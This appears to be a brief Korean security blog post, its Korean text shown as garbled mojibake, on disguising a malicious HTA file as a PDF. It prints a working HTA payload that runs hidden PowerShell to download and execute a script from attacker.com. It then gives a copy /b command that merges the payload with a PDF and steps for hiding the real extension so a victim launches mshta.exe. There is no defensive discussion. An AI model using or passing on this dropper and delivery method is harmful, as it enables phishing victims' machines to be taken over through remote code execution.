๐Ÿ”’์ •๋ณด๋ณด์•ˆ/์‚ฌํšŒ๊ณตํ•™

์‚ฌํšŒ๊ณตํ•™ - PDF + HTA ์•…์„ฑ ํŒŒ์ผ

Janger 2025. 5. 6. 19:46
728x90
payload.hta
<html>
  <head>
    <script>
      var shell = new ActiveXObject("WScript.Shell");
      shell.Run("powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')");
    </script>
  </head>
</html>

 

 

/copy ๋ช…๋ น์–ด๋กœ ๋ณ‘ํ•ฉ (Windows CMD)
Windows์˜ copy /b ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•ด ์ด์ง„(Binary) ๋ฐฉ์‹์œผ๋กœ ํŒŒ์ผ ๊ฒฐํ•ฉ
copy /b doc.pdf + payload.hta final.pdf

 

 

์‹คํ–‰ ์œ ๋„ ๋ฐฉ์‹

 

  • ํ™•์žฅ์ž ์ˆจ๊น€ + Windows ์‹คํ–‰ ์šฐ์„ ์ˆœ์œ„๋ฅผ ์ด์šฉ
  • ํŒŒ์ผ ์ด๋ฆ„์„ ์˜ˆ: document.pdf.hta ๋˜๋Š” document.pdf[space].hta๋กœ ๋งŒ๋“ค๊ณ 
  • ํ™•์žฅ์ž ์ˆจ๊ธฐ๊ธฐ๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž ๋ˆˆ์—๋Š” .pdf์ฒ˜๋Ÿผ ๋ณด์ž„
  • ์‚ฌ์šฉ์ž๊ฐ€ ํด๋ฆญํ•˜๋ฉด mshta.exe๊ฐ€ ์‹คํ–‰๋จ

 

728x90